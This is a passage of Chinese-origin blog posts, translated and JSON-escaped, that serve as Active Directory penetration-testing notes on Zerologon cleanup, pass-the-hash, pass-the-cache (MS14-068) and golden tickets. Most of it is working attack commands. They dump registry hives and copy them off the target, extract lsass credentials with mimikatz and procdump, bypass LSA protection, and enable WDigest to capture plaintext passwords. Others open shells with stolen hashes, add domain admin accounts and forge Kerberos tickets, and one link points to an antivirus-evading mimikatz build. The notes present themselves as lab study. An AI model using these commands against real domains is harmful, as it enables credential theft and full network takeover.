:2b2ddd54e1f78fab85e7c662f672f30e MAIN/administrator@192.168.0.111 # Retrieve registry dump files; by default, they are stored in C:\\ on the target host # A Chinese-language target system may report a decoding error; this does not affect operation # /y: force overwrite of existing files, preventing a same-named file in C:\\ on the target from causing an overwrite prompt that can stall a semi-interactive session C:\\\u0026gt;reg save HKLM\\SYSTEM system.hive /y C:\\\u0026gt;reg save HKLM\\SAM sam.hive /y C:\\\u0026gt;reg save HKLM\\SECURITY security.hive /y # Download the dump files locally C:\\\u0026gt;lget system.hive C:\\\u0026gt;lget sam.hive C:\\\u0026gt;lget security.hive # Delete the dump files from the target host C:\\\u0026gt;del /f system.hive C:\\\u0026gt;del /f sam.hive C:\\\u0026gt;del /f security.hive C:\\\u0026gt;exit # Export hashes from the registry dumps python secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL The result is shown below. The domain controller key (HEX) is: :71e7160142ee4406478d8c3a67566adc1ed91dd97d26c87f4ac97a4af081dadde701370b3d5fdc785a409f6f03ed9d1147163ec8e28db1c12c6a7a39fc036ec5f5db54033c653bed4c888de0ca32fe75fdcc0965daf24049c472d015963b842b982f9807ee45b9eabb94002d69ff0d8e519e9dd3112c248b4db901de95513e682ef142fd15bc97d63a0bf7b2414ad2851a00bf0f9cc356b51f25ccc4fd0f307b609278ef60c4986782b9a46cac7a6f3262eb521c9e0c7bb20dd6218e035c74b04242dcca13c778cbfe53e68901af6c27d11ac09a376a2bf456efd9d3081f95999d3b79818c754f61455c8eacdf5c9e82\nThe NTLM HASH is: aad3b435b51404eeaad3b435b51404ee:21b74da052b94026deb180cf075a5a93. Note that this differs from the empty HASH captured in the previous step, because that step retrieved the domain controller HASH record from NTDS.DIT, while this one retrieves the HASH record from the registry.\nNext, restore it with a tool by synchronizing the HASH record in the registry back to NTDS.DIT:\nMethod 1: Tool from https://github.com/risksense/zerologon\nThis project explains the process very clearly. Just follow its steps.\nRestore using the NT HASH:\n1 python reinstall_original_pw.py WIN-RITHFS5KHEN 192.168.0.111 21b74da052b94026deb180cf075a5a93 Method 2: Tool from https://github.com/dirkjanm/CVE-2020-1472\nRestore using the key (HEX):\n1 python3 restorepassword.py main/dc01@dc01 -target-ip 192.168.43.100 -hexpass 40cb3f6931f77bec7856f848751e135515d868f80b3f7f618472dfa9e83a6fac7a6c7069b7626371f7812607d47b19df6506d1b28d1e8640b06882116feae2fee977bcb6f55db375dc6181b0e4a656ab22ef183f904cbe66d4cfbfd3c13fa5c96933b0ff8b8c07a97a0b38c3c7af4c948578caa5e2842eedc63e94c47c1624cd4b952bc3cf6871cdf8367225522d71e2d754ea642550087a8a6ef91f2ab2b32d3a2f1beb0735c06a72e0e02ff89e5645edfbfb7a190c667c1356a893b831051f4e5ba2d2bea86ec59613660d66b06eb57482ec466ca21d1324b7c83d6f68778e5c66ac7e96d5ec8c6032655a5b904099 Method 3: PowerShell\nFirst, use a remote command-execution tool (wmiexec, psexec, smbexec, atexec, and so on) to obtain a shell on the domain controller. Then use a powershell command to reset the host HASH. Note that this does not restore the original HASH. Instead, it resets the credential in NTDS.DIT and the credentials in the registry/lsass to a random value:\n1 2 3 python3 wmiexec.py -hashes :cf83cd7efde13e0ce754874aaa979a74 MAIN/administrator@192.168.43.100 C:\\\u0026gt;powershell -c Reset-ComputerMachinePassword Step 5: Verify That the Domain Controller HASH Was Restored 1 python secretsdump.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e domain/administrator@192.168.0.111 ","date":"2024-11-20T10:08:00+08:00","permalink":"/p/active-directory-shadow-copy-and-zerologon/","title":"Active Directory Pentesting: Shadow Copies and CVE-2020-1472"},{"content":"Learning Active Directory Pentesting [TOC]\nDuring a penetration test, we often run into a scenario like this: a server in the domain exposes a web service through a port mapping on the router. We exploit a web script vulnerability and gain system privileges on that host. If the client wants us to go further and test the internal network to demonstrate the serious risks facing the company, this is where internal Active Directory penetration comes in. Our usual goal is to gain control of the domain controller, because once the DC falls, the entire internal network is effectively in our hands.\n1. Lab Setup Before we begin, we need to set up a domain environment. Since this is only for teaching and testing, one domain controller and one domain-joined host are enough. I use windows server 2012 and windows 7 here. By compromising windows 7, or simply controlling it directly, we can simulate a compromised host and use it to study Active Directory penetration.\nThe windows server 2012 machine has an Administrator user (the domain controller\u0026rsquo;s super-administrator account). Windows7 has a dada user (a member of the Administrators group) and a xiao user (a standard domain user).\n2. Information Gathering in the Domain The first step in every penetration test is information gathering, and a domain is no exception.\n① Identify the Environment Inside the domain, first identify the compromised host\u0026rsquo;s current internal-network environment, including details such as the topology. The following commands can help you quickly get your bearings.\n1 2 3 4 5 route print # View routing information arp -a # View all devices in the domain ipconfig /all # Determine whether the host is domain-joined from the DNS suffix and DNS server ping \u0026#34;DOMAIN_NAME\u0026#34; net time /domain # View system time and identify the primary domain During a penetration test, remember to save the data you collect. Do not just glance at it and lose it, and try not to query the same information repeatedly. Every action should be clean and efficient. ② Domain Information Besides learning about the internal-network environment, we can query domain-related information directly with commands.\n1. net view View devices in the local workgroup/domain environment.\nView online hosts in the domain. At this point, we can see the two machines in the domain: the compromised XZM-PC and the domain controller AD.\nIf error 6118 appears =\u0026gt;\nDisable the firewall; 2. enable the services (Computer Browser, Server, and Workstation); 3. reopen CMD. 2. net view /domain See how many domains currently exist. Here, we can see one domain named MAO.\n3. net user /domain View users in the domain. Besides the usual administrator and guest accounts, we can see a krbtgt user. This account is extremely important, and we will come back to it later.\n4. net group /domain View information about the domain\u0026rsquo;s groups.\nThere are quite a few groups here, so I will list a few of the key ones.\n*Domain Admins — administrators group\n*Domain Computers — hostnames\n*Domain Controllers — domain controllers group\n*Enterprise Admins — enterprise-level administrators\nYou can use net group group_name /domain to view the users in a group.\n5. whoami /user Determine your current privileges.\n500: administrator 501: guest 1000+: standard user 6. net group \u0026ldquo;domain controllers\u0026rdquo; /domain View the members of the domain controller administrators group (a high-privilege group in the domain).\nDomain Admins — domain administrators group (high privilege) Domain Computers — hosts joined to the domain Domain Controllers — domain controllers (high privilege) Domain Users — standard domain users Enterprise Admins — enterprise administrators (high privilege) 8. systeminfo | findstr \u0026ldquo;KB\u0026rdquo; View patch information.\n7. Locate the Domain Controller The domain controller has the highest privileges in the domain, so it is naturally our primary target. We can locate it using some of the commands introduced above.\nUse net user /domain to view accounts in the domain and net group \u0026quot;domain controllers\u0026quot; /domain to view the domain controllers. You can quickly check your own privileges with whoami /user.\n3. Local Authentication ① Windows Local Authentication Before we start attacking, we need to understand how windows authentication works.\nFrom studying the operating system, we know that C:\\Windows\\System32\\config\\SAM is the database file that stores host account passwords.\nThe windows login process is actually quite simple. winlogin.exe starts, and when the user enters an account name and password, they are sent to lsass.exe. lsass.exe converts the plaintext entered by the user into an NTLM hash and compares it with the data stored in the SAM file. If they match, the login succeeds.\nWindows Logon is the user login program in the Windows operating system. It manages user login and logout and provides the interface where users enter their account names and passwords, also known as the login page or login screen.\nlsass is part of the Microsoft windows security mechanism. It is a critical Windows operating-system process responsible for local security and login policies. It starts automatically when Windows boots and continues running in the background.\n② NTLM hash Of course, windows itself does not store plaintext passwords. The SAM file stores password hashes. During login, the user\u0026rsquo;s input is first converted into a hash before the comparison is performed.\nHashes are generally stored in two places:\nThe SAM file, stored on the local machine =\u0026gt; corresponds to local users The NTDS.DIT file, stored on the domain controller =\u0026gt; corresponds to domain users 1. Hashing Process The plaintext password entered by the user =\u0026gt; hexadecimal =\u0026gt; unicode =\u0026gt; md4 algorithm =\u0026gt; NTLM hash. As you can see, the entire process is fairly simple.\n2. Stored Password Format Example: administrator:500:LM hash:NTLM hash\nThe username comes first, followed by the user\u0026rsquo;s SID, then the LM hash and NTLM hash.\nIf the LM Hash begins with AAD3B, the password is empty or has not been set.\nLM Hash stands for “LAN Manager Hash.” It is a hashing algorithm Microsoft adopted to improve the security of the Windows operating system, and it is essentially based on DES encryption. Although LM Hash is relatively easy to crack, Windows only disabled it to maintain system compatibility (starting with Windows Vista and Windows Server 2008, Windows disables LM Hash by default). LM Hash plaintext passwords are limited to 14 characters, so if you want to stop using LM Hash, simply set the user\u0026rsquo;s password to more than 14 characters.\n3. lsass.exe During lateral movement and privilege escalation on an internal network, the most common approach is to dump the lsass.exe process to obtain plaintext passwords or hashes. lsass.exe (Local Security Authority SubsystemService) is a system process used by the Microsoft Windows security mechanism for local security and login policies. Its process space contains important information such as the machine\u0026rsquo;s domain, local usernames, and passwords. However, you must first obtain high privileges before you can access it.\n4. Extracting Passwords from lsass.exe ① Procdump procdump is a command-line tool mainly used to monitor abnormal CPU activity in applications and create memory dumps. As mentioned above, plaintext and encrypted passwords are both stored in lsass, so procdump can dump lsass\u0026rsquo;s memory resources. Here are some of its parameters.\n1. Relevant Parameters -ma: Writes a “full” dump file. [Includes all memory (images, mappings, and private memory), as well as all metadata for processes, threads, modules, handles, address spaces, and so on.] -accepteula: Automatically accepts the Sysinternals license agreement when this command-line option is used. 2. Basic Usage It is very straightforward: specify the options and the process whose memory you want to dump, then provide an output filename. You immediately get a memory dump file with the .dmp extension. (This requires a command-line window running with administrator privileges.)\n1 2 3 procdump.exe -ma -accepteula lsass.exe passwd.dmp # Dump in-memory hashes locally as passwd.dmp pypykatz lsa minidump ./pass.dmp # This works very well Normally, we cannot open passwd.dmp directly; opening it in Notepad only shows garbled text. This is where another small tool, Mimikatz, comes in to read passwd.dmp.\n② Mimikatz Mimikatz is a powerful, lightweight debugging tool developed by the French researcher benjamin. It was originally intended for personal testing, but its powerful ability to read plaintext passwords directly from operating systems such as WindowsXP-2012 made it famous in penetration testing. You could call it an essential penetration-testing tool.\n1. Relevant Parameters Mimikatz has many parameters, so I will only cover the commonly used ones here.\n1 2 3 4 mimikatz # :: Display help mimikatz # cls Clear the screen mimikatz # log Log captured information mimikatz # hostname View the hostname privilege module (This requires a command-line window running with administrator privileges.)\n1 mimikatz # privilege::debug Elevate Mimikatz privileges using its built-in exploit against the current host sekurlsa module 1 2 3 4 5 6 7 8 9 10 11 12 13 1. Extract passwords for users logged on to the current system; elevate Mimikatz privileges first mimikatz # sekurlsa::logonpasswords Retrieve all account passwords; simpler than using Procdump 2. Capture user NTLM hashes from memory and list LM and NTLM credentials mimikatz # sekurlsa::msv 3. Load the DMP file and extract plaintext passwords mimikatz # sekurlsa::minidump passwd.dmp Switch context mimikatz # sekurlsa::logonpasswords full List all available credentials 4. Export all tickets from the lsass.exe process mimikatz # sekurlsa::tickets /export 5. List Kerberos credentials mimikatz # sekurlsa::kerberos Retrieve in-domain Kerberos authentication data, including account passwords 6. Pass the hash mimikatz # sekurlsa::pth lsadump module 1 2 3 mimikatz # lsadump::sam Read the SAM file to obtain usernames and NTLM hashes mimikatz # lsadump::secrets Retrieve the current user\u0026#39;s password mimikatz # lsadump::dcsync /user:krbtgt Retrieve krbtgt user information from the domain controller kerberos module 1 2 3 4 5 6 7 1. List tickets on the system mimikatz # kerberos::list List tickets mimikatz # kerberos::tgt List tickets 2. Clear tickets from the system mimikatz # kerberos::purge Clear tickets 3. Import a ticket into the system mimikatz # kerberos::ptc TICKET_PATH process module 1 2 3 mimikatz # process::start command Start a process mimikatz # process::stop command Stop a process mimikatz # process::list List processes Mimikatz works so well that antivirus software will flag it. If you plan to run Mimikatz on a target machine, first consider whether you need to make it evade detection.\n2. Basic Usage Mimikatz can extract plaintext passwords from memory. After loading the dmp file obtained with procdump using sekurlsa::minidump, you can read passwords with commands such as sekurlsa::logonpasswords full. The result looks like this:\n1 2 3 mimikatz.exe sekurlsa::minidump ./passwd.dmp sekurlsa::logonpasswords full Here, we can see administrator information in the screenshot. Getting this information in a real environment basically means the engagement is over.\n3. Advanced Usage ① Use Mimikatz with a dump file created by procdump to extract credentials.\n1 2 3 mimikatz # log //Log captured information mimikatz # sekurlsa::minidump passwd.dmp //Switch context by mounting the DMP file mimikatz # sekurlsa::logonpasswords //List all available credentials ② Use Mimikatz directly to extract credentials (administrative privileges required).\n1 2 3 4 mimikata # log //Log captured information mimikatz # privilege::debug //Elevate privileges to enable privileged Mimikatz operations mimikatz # sekurlsa::msv //Extract hashes from memory mimikatz # sekurlsa::logonpasswords //List all available credentials With Local Administrator Privileges Extract Passwords 1 2 3 4 5 6 7 8 9 procdump.exe -accepteula -ma lsass.exe lsass.dmp mimikatz \u0026#34;privilege::debug\u0026#34; \u0026#34;sekurlsa::minidump lsass.dmp\u0026#34; \u0026#34;sekurlsa::logonPasswords\u0026#34; \u0026#34;exit\u0026#34; mimikatz \u0026#34;privilege::debug\u0026#34; \u0026#34;token::elevate\u0026#34; \u0026#34;sekurlsa::logonpasswords\u0026#34; \u0026#34;lsadump::sam\u0026#34; \u0026#34;exit\u0026#34; hashdump: post/windows/gather/smart_hashdump cme smb \u0026lt;ip_range\u0026gt; -u \u0026lt;user\u0026gt; -p \u0026lt;password\u0026gt; -M lsassy cme smb \u0026lt;ip_range\u0026gt; -u \u0026lt;user\u0026gt; -p \u0026#39;\u0026lt;password\u0026gt;\u0026#39; --sam / --lsa / --ntds Bypass the LSA Protection Policy to Read Passwords 1 2 3 PPLdump64.exe \u0026lt;lsass.exe|lsass_pid\u0026gt; lsass.dmp mimikatz \u0026#34;!+\u0026#34; \u0026#34;!processprotect /process:lsass.exe /remove\u0026#34; \u0026#34;privilege::debug\u0026#34; \u0026#34;token::elevate\u0026#34; \u0026#34;sekurlsa::logonpasswords\u0026#34; \u0026#34;!processprotect /process:lsass.exe\u0026#34; \u0026#34;!-\u0026#34; #with mimidriver.sys Workflow summary:\nObtain the NTLM hash Use procdump/PPLdump to dump the lsass process Use mimikatz to analyze the dump file and extract the hash Choose a path using the NTLM hash: Crack the hash to obtain the plaintext password Use the hash directly in a PTH attack (when it cannot be cracked) Key points:\nNTLM hashes are generated the same way on all Windows systems (MD4) The same password produces the same hash on different machines PTH can authenticate without the plaintext password A dump of lsass contains credential information for every logged-in user In particular:\nThe hash of the administrator who is currently logged in Hashes of other logged-in users Hashes of system service accounts But keep in mind:\nYou can only obtain hashes for users who have logged in Information for users who have never logged in will not be present in lsass In practice, cracking md4 can also recover the plaintext password.\n5. Lab: PTH (pass-the-hash) ① Introduction Pass-the-hash is a hacker technique in which an attacker uses the hash of a user\u0026rsquo;s password to authenticate to a remote server and expand their foothold. It is essentially a form of credential stuffing. Once we have an NTLM hash, we can very easily launch a PTH attempt with Mimikatz\u0026rsquo;s sekurlsa::pth.\nLimitation: the hash must remain static (the password must not be changed) Applicable to: domains/workgroups where a hash can be obtained but not cracked, and where machines on the internal network share the same password. KB2871997: fixed PTH for standard users, but not administrators. On systems \u0026gt;= win server 2012, plaintext passwords cannot be captured from the lsass process. Because KB2871997 fixed PTH for standard users, privilege::debug is needed to elevate privileges (from a high-privilege terminal).\n② Prerequisites To use Mimikatz\u0026rsquo;s sekurlsa::pth module, you need to know at least the following:\nPTH target: use commands such as net user /domain to view domain-user information Domain name: use commands such as net view /domain to view the domain name NTLM hash: obtain it with procdump and Mimikatz 1 2 3 4 Additional notes: 1. reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f # Enable password capture 2. rundll32 user32.dll,LockWorkStation # Force the lock screen so the user logs in again and the password can be captured from lsass.exe ③ When It Applies This applies when you do not need the user\u0026rsquo;s password, only have the domain controller\u0026rsquo;s NTLM Hash, and cannot crack it.\n④ Information Gathering Find the PTH target =\u0026gt; Administrator\nView members of the administrators group =\u0026gt; choose Administrator as the target\nDomain name =\u0026gt; MAO\nObtain the administrator\u0026rsquo;s ntml hash =\u0026gt; 570a9a65db8fba761c1008a51d4c95ab\n1 2 3 Mimikatz.exe can handle all of this: sekurlsa::minidump ./passwd.dmp sekurlsa::logonpasswords full ⑤ Launch the Attack Method 1: Direct PTH with Mimikatz 1 2 3 4 sekurlsa::pth /user:\u0026lt;USERNAME\u0026gt; /domain:\u0026lt;DOMAIN_NAME\u0026gt; /ntlm:\u0026lt;ntlm hash\u0026gt; [/run:name] privilege::debug sekurlsa::pth /user:Administrator /domain:MAO /ntlm:570a9a65db8fba761c1008a51d4c95ab /run:cmd This gives us control of the domain controller. (If all parameters are correct but the attack still fails, try closing the Mimikatz window, start cmd.exe again as administrator, elevate privileges again, and rerun the attack. The command after run is optional; by default, it opens cmd.exe on the domain controller.)\nMethod 2: Use Credential-Passing Scripts to Obtain a Shell 1 2 3 4 5 6 7 8 9 10 11 12 ①smbexec.py python /opt/impacket/build/scripts-3.12/smbexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110 smbexec.py administrator:\u0026#39;password\u0026#39;@\u0026lt;target-ip\u0026gt; ②wmiexec.py python /opt/impacket/build/scripts-3.12/wmiexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110 wmiexec.py administrator:\u0026#39;password\u0026#39;@\u0026lt;target-ip\u0026gt; /opt/impacket/build/scripts-3.12/psexec.py administrator:\u0026#39;password\u0026#39;@10.10.10.97 PsExec.exe \\\\WindowsServerAD.test.local -u test\\administrator -hashes :2b2ddd54e1f78fab85e7c662f672f30e cmd PsExec.exe -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 FOREST/administrator@10.10.10.161 psexec.exe \u0026#34;administrator\u0026#34;@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 1. Can passing a standard user\u0026#39;s hash still provide a shell? 2. Does the standard user\u0026#39;s hash belong to a domain account or a standard account on the domain controller? 3. If a standard account on the domain controller supports PTH, does creating it there automatically make it a domain account? 1. Passing a standard user\u0026#39;s hash: A shell is possible, but permissions are limited Only authorized resources are accessible Administrative operations are unavailable 2. Source of a standard user\u0026#39;s hash: It is the hash of a domain user account It is not a local account hash The credential is used for domain authentication 3. Domain accounts and local accounts: A user created on the domain controller automatically becomes a domain user Domain users can authenticate within the domain Local accounts can only be used on their host Key point: PTH passes a domain account hash, whether the account is an administrator or a standard user. A shell on the domain controller requires its administrator hash 6. Kerberos Authentication Protocol Kerberos is a third-party authentication protocol that uses symmetric encryption to provide strong authentication for client/server applications. In Greek mythology, Kerberos is the three-headed hound guarding the gates of Hades. Its three heads represent the three roles in the protocol, as shown below:\nThe Client accessing the service (the party sending the request)\nThe Server providing the service (the party receiving the request)\nThe KDC, or Key Distribution Center, which contains the following two services:\nAS, the authentication service (Authentication Server) [dedicated to authenticating the client and issuing the TGT the client uses to access the TGS] TGS, the ticket authorization service (Ticket Granting Server) [issues the tickets needed throughout authentication and the service ticket the client needs to access the server] DC (Domain Controller): domain controller KDC (Key Distribution Center): key distribution center AS (Authentication Server): authentication server TGS (Ticket Granting Server): ticket-granting server TGT (Ticket Granting Ticket): ticket-granting ticket Authentication Overview\nFirst, the client sends a request to the AS and obtains a TGT.\nThe client uses the TGT obtained from the AS to send a request to the TGS. After successfully decrypting the TGT, the TGS generates a new ticket and returns it to the client.\nThe client uses the new ticket returned by the TGS to send a request to the server for authorization.\n7. Lab: PTC (pass-the-cache) If we can obtain a user\u0026rsquo;s TGT and import it into memory, we can impersonate that user and gain their access privileges.\n① MS14-068 Vulnerability MS14-068 is a Windows vulnerability in the Key Distribution Center (KDC) service. It allows an authenticated user to insert an arbitrary PAC (the structure representing all user privileges) into a Kerberos ticket (TGT). The vulnerability is located in kdcsvc.dll in the domain controller\u0026rsquo;s Key Distribution Center. A user can obtain a ticket by presenting a kerberos TGT with a modified PAC.\nHigh privileges are required.\nAffected Versions\nWindows Server 2003, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, and Windows Server 2012 R2 Windows Vista, Windows 7, Windows 8, and Windows 8.1 Patch Number and Exploitation Requirements\nPatch number: KB3011780\nExploitation requirements:\nObtain access to a host (a domain-joined host) Collect the account name, password, SID, and domain information for any user in the computer domain The MS14-068 patch is not installed #There is a problem with this tutorial. If you have an administrator account and password, you can probably use PTH. The defining feature of MS14-068 is that a standard domain account can escalate to domain administrator, which is why the vulnerability is so severe. Any standard domain user is enough here.\n② Information Gathering 1 2 3 4 5 6 7 8 9 10 1. Domain administrator SID whoami /all =\u0026gt; S-1-5-21-863777703-696496247-1862912240-500 2. Domain administrator plaintext password mimikatz.exe sekurlsa::minidump ./passwd.dmp sekurlsa::logonpasswords full =\u0026gt; Admin@123 3. Domain information, including the full domain name ipconfig /all Windows is case-insensitive, so both mao.com and MAO.COM work.\n③ Exploitation 1. Generate a Domain Administrator Key 1 2 3 4 Use an existing script to obtain a ticket: ms14-068.exe -u \u0026lt;USERNAME@DOMAIN_NAME\u0026gt; -s \u0026lt;SID\u0026gt; -d \u0026lt;IP_ADDRESS\u0026gt; -p \u0026lt;USER_PASSWORD\u0026gt; MS14-068.exe -u Administrator@MAO.COM -s S-1-5-21-863777703-696496247-1862912240-500 -d 192.168.126.10 -p Admin@123 2. Import the Generated Ticket into Memory Then use Mimikatz\u0026rsquo;s kerberos::ptc module to load the ticket.\n1 2 3 mimikatz.exe privilege::debug kerberos::ptc TGT_Administrator@MAO.COM.ccache 3. Open an Administrator Terminal with the Current Privileges Use Mimikatz\u0026rsquo;s misc::cmd module to open a new window and verify our current privileges.\n1 2 misc::cmd dir \\\\192.168.126.10\\c$ 4. Use PsExec.exe to Obtain an Interactive Shell From the administrator terminal we just created, use PsExec.exe to obtain an interactive shell and create a user belonging to the administrators group.\n1 2 3 4 5 6 7 8 9 10 A plaintext password can also be used with psexec.exe PsExec64.exe \\\\192.168.0.110 -u Administrator -p Admin@123!@# -s cmd.exe If the ticket is already imported, obtain a shell directly; this step is PTC PsExec.exe \\\\192.168.126.10 cmd ipconfig whoami net user carmi carmi@123 /add /domain net group \u0026#34;Domain Admins\u0026#34; carmi /add /domain net group \u0026#34;Domain Admins\u0026#34; /domain PTC on linux Find ticket cache files: 1 2 3 # Default locations ls /tmp/krb5cc_* ls ~/.krb5cc_* Import the ticket: 1 2 3 4 5 # Set the environment variable; the tool reads KRB5CCNAME, whose value is the cache path export KRB5CCNAME=/tmp/krb5cc_1000 # View tickets klist Use the ticket: 1 2 3 # Impacket tools psexec.py -k -no-pass test.domain/administrator@dc.test.domain smbexec.py -k -no-pass test.domain/administrator@dc.test.domain Main use cases:\nLinux joined to a domain environment Penetration testing inside a domain Cross-platform attacks 8. Lab: PTT (pass-the-ticket) Golden Ticket ① Introduction The KDC\u0026rsquo;s job is to generate a TGT for any user. That raises a question: what would let someone generate a TGT for an arbitrary user? We need to look back at the kerberos authentication process. During windows authentication, the client sends its own information to the KDC. The KDC then uses the NTLM hash of the krbtgt user's password as the encryption key and generates a TGT.\nIn one sentence: the TGT is generated by the KDC using the hash of the krbtgt user\u0026rsquo;s password as the key, together with the client\u0026rsquo;s own information.\nSo if we obtain the hash of the krbtgt password, can we forge any TGT? Absolutely. However, because krbtgt exists only on the domain controller, using a Golden Ticket (a pass-the-ticket attack) means we must already have compromised the domain controller. A Golden Ticket can therefore be understood as a backdoor.\nThe Krbtgt user is generated automatically when the domain controller is created.\nAs long as the krbtgt user\u0026rsquo;s password is not changed, a Golden Ticket can be used to create ticket information for any user and inject it into memory.\nUsing a Golden Ticket requires communication with the domain controller.\n② Prerequisites Domain name and domain SID (with the rid removed): obtain them with whoami /user Username to forge (the target): obtain it using methods such as net user /domain Hash of the krbtgt user: obtain it using methods such as Mimikatz ③ Information Gathering Use mimkatz to obtain the krbtgt hash (only this step must be performed on the domain controller) =\u0026gt; e798fdc7ba810c372ef7bffcdc8f2d13\nMimkatz can be finicky, and because of issues with the software, directly pasting Mimikatz content into the command line may fail or even crash the program. We can work around that by generating a log.\n1 2 3 4 mimikatz.exe log privilege::debug lsadump::dcsync /user:krbtgt Domain SID (no privileges are required to retrieve it): whoami /user =\u0026gt; S-1-5-21-863777703-696496247-1862912240 (the portion after the last hyphen represents the user\u0026rsquo;s privileges, so we only need the first part)\nUsername to forge (target): net user /domain =\u0026gt; Administrator\nDomain name (full domain name): ipconfig /all =\u0026gt; mao.com\n③ Exploitation Run these operations from an administrator window.\n1. Clear Existing Tickets Existing tickets must be cleared before generating a ticket. As a result, if ticket generation fails, the host will no longer be able to access information in the domain (it effectively leaves the domain).\nAfter clearing the tickets with kerberos::purge, you can use kerberos::golden to generate a ticket.\n1 2 3 mimikatz.exe privilege::debug kerberos::purge Clear tickets 2. Generate a Ticket 1 2 3 kerberos::golden /user:\u0026lt;FORGED_USERNAME\u0026gt; /domain:\u0026lt;FULL_DOMAIN_NAME\u0026gt; /krbtgt:\u0026lt;KRBTGT_USER_HASH\u0026gt; /sid:\u0026lt;DOMAIN_SID\u0026gt; /ticket:\u0026lt;OUTPUT_FILENAME.kirbr\u0026gt; kerberos::golden /user:Administrator /domain:test.local /krbtgt:fc9433a1a38088e6b6b74e2c29cf02bd /sid:S-1-5-21-1304053684-1769385709-786886762-500 /ticket:carmi.kirbr 3. Inject the Ticket 1 kerberos::ptt carmi.kirbr 4. Create a Domain Controller Session 1 2 3 4 5 misc::cmd whoami dir \\\\192.168.126.10\\c$ PsExec.exe \\\\192.168.126.10 cmd ipconfig https://blog.csdn.net/m0_55751267/article/details/127990619 explains the principles behind Silver and Golden Tickets.\nThis blog post: https://xz.aliyun.com/t/13435?time__1311=Gqmxu7G%3D5mq05DK5YK0%3DIouDfxiT277GbD\nMimikatz antivirus bypass: https://github.com/wangfly-me/mimikatz_bypass/releases/tag/v1.0\nReferences:\nhttps://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#lsa-protection-workaround\n","date":"2024-11-19T08:58:00+08:00","permalink":"/p/active-directory-ptt-pth-ptc/","title":"Active Directory Pentesting: PTT, PTH, and PTC"},{"content":"Internal Network Information Gathering 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 1. User list net user /domain Windows user list: analyze email users; internal [domain] email users are usually internal [domain] users 2. Process list tasklist /svc Analyze antivirus/security monitoring tools, email clients, VPN, FTP, etc. 3. Service list\ttasklist /svc Security-related services [determine whether they can be manually enabled or disabled] and vulnerable services [permissions/vulnerabilities] 4. Port list\tnetstat -ano Common services/applications on open ports [anonymous access/permissions/vulnerabilities, etc.]; use ports for information gathering 5. Patch list\tsysteminfo Analyze Windows patches and vulnerabilities in third-party software [Java/Oracle/Flash, etc.] 6. Local shares\tsmbclient -L ip net user \\\\ip\\c$ Local share list/access permissions and domain shares accessed by the local host/access permissions 7. Analyze the current user\u0026#39;s habits History, favorites, documents, etc. 8. Obtain the current user\u0026#39;s password Windows mimikatz Invoke-WCMDump mimiDbg LaZagne NirLauncher ) quarkspwdump Linux mimipenguin LaZagne Browsers HackBrowserData SharpWeb SharpDPAPI 360SafeBrowsergetpass BrowserGhost Browser-cookie-steal (steal browser cookies) Navicat passwords Versions: Navicat 11 or 12 Method: https://blog.csdn.net/CCESARE/article/details/104746596 Decryption script: https://github.com/tianhe1986/FatSmallTools https://github.com/HyperSine/how-does-navicat-encrypt-password Xshell and Xftp passwords https://github.com/dzxs/Xdecrypt mRemoteNG passwords https://github.com/kmahyyg/mremoteng-decrypt https://github.com/haseebT/mRemoteNG-Decrypt 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 Common port scanning tools nmap masscan zmap S Scanner Custom scripts nc …… Internal network topology analysis DMZ Management network Production network Test network Common information-gathering commands # ipconfig ipconfig /all ------\u0026gt; Query the local IP range, domain, etc. # net net user ------\u0026gt; List local users net localgroup administrators ------\u0026gt; List local administrators [usually includes domain users] net user /domain ------\u0026gt; Query domain users net group /domain ------\u0026gt; Query groups in the domain net group \u0026#34;domain admins\u0026#34; /domain ------\u0026gt; Query the Domain Admins group net localgroup administrators /domain ------\u0026gt; List domain administrators logged on to the local host net localgroup administrators workgroup\\user001 /add -----\u0026gt; Add a domain user to the local host net group \u0026#34;Domain controllers\u0026#34; -------\u0026gt; List domain controllers (if there are multiple) net view ------\u0026gt; List machines in the same domain net view /domain ------\u0026gt; List domains net view /domain:domainname # dsquery dsquery computer domainroot -limit 65535 \u0026amp;\u0026amp; net group \u0026#34;domain computers\u0026#34; /domain ------\u0026gt; List all machine names in the domain dsquery computer ------\u0026gt; List machine names dsquery user domainroot -limit 65535 \u0026amp;\u0026amp; net user /domain------\u0026gt; List all usernames in the domain dsquery subnet ------\u0026gt; List subnet divisions in the domain dsquery group \u0026amp;\u0026amp; net group /domain ------\u0026gt; List groups in the domain dsquery ou ------\u0026gt; List organizational units in the domain dsquery server \u0026amp;\u0026amp; net time /domain------\u0026gt; List domain controllers in the domain Third-party information gathering NETBIOS information gathering SMB information gathering Null-session information gathering Vulnerability information gathering, etc. Common Commands 1 2 3 4 5 6 7 8 9 10 11 12 # Create a local account net user /add jerry 123456 # Create a domain user from a domain member (administrator privileges required) net user /add jerry 123456 /domain # Create a domain member on the domain controller net user /add jerry 123456 After joining the domain, many functions are restricted for standard accounts. The administrator is the domain controller administrator, making many operations difficult. net localgroup administrators test\\jerry /add This can elevate user jerry in the test domain to local administrator privileges. Because UAC prevents local administrator privileges from taking effect immediately, sign out and log back in. When running a local command that requires administrator privileges, select Yes or No at the prompt. List Anonymously Accessible SMB Shares 1 2 3 4 5 6 7 8 9 10 11 enum4linux -a -u \u0026#34;\u0026#34; -p \u0026#34;\u0026#34; \u0026lt;dc-ip\u0026gt; \u0026amp;\u0026amp; enum4linux -a -u \u0026#34;guest\u0026#34; -p \u0026#34;\u0026#34; 